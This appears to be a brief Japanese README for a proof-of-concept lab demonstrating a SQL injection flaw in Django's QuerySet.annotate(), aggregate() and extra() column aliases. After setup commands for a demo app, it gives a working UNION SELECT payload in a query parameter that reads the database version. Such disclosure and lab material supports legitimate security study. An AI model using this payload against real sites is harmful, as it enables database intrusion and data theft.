
Django 2.2(2.2.28より前)、3.2(3.2.13より前)、および4.0(4.0.4より前)で問題が発見されました。QuerySet.annotate()、aggregate()、およびextra()メソッドは、渡された**kwargsとして(辞書展開を伴う)巧妙に細工された辞書により、列エイリアスでSQLインジェクションの影響を受けます。
poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver
?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --
